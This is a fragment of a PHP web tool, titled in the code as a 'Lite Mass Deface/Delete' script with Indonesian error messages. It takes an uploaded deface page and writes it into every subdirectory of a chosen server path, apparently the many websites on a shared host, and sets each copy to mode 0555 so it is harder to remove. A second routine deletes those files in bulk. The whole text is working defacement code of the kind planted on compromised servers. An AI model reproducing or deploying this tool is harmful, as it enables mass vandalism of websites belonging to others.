Lite Mass Deface/Delete + CHMOD 0555 + Custom Path";
// Upload + Deface
if (isset($_POST['upload'])) {
$path = rtrim($_POST['path'], '/');
$filename = trim($_POST['filename']);
$filetmp = $_FILES['deface']['tmp_name'];
$content = file_get_contents($filetmp);
if (!is_dir($path)) {
die("[ERROR] Path tidak ditemukan atau tidak valid.");
}
$dirs = scandir($path);
$success = 0;
$fail = 0;
foreach ($dirs as $dir) {
$targetDir = $path . '/' . $dir;
if ($dir != '.' && $dir != '..' && is_dir($targetDir)) {
$target = $targetDir . '/' . $filename;
if (file_put_contents($target, $content)) {
chmod($target, 0555);
echo "[OK] $target
";
$success++;
} else {
echo "[FAIL] $target
";
$fail++;
}
}
}
echo "
Done Upload: $success success, $fail failed.
";
}
// Delete Deface File
if (isset($_POST['delete'])) {
$path = rtrim($_POST['path_delete'], '/');
$filename = trim($_POST['filename_delete']);
if (!is_dir($path)) {
die("[ERROR] Path tidak ditemukan atau tidak valid.");
}
$dirs = scandir($path);
$deleted = 0;
$notfound = 0;
foreach ($dirs as $dir) {
$targetDir = $path . '/' . $dir;
if ($dir != '.' && $dir != '..' && is_dir($targetDir)) {
$target = $targetDir . '/' . $filename;
if (file_exists($target)) {
if (unlink($target)) {
echo "[DELETED] $target
";
$deleted++;
} else {
echo "[FAILED DELETE] $target
";
}
} else {
$notfound++;
}
}
}
echo "
Done Delete: $deleted deleted, $notfound not found.
";
}
?>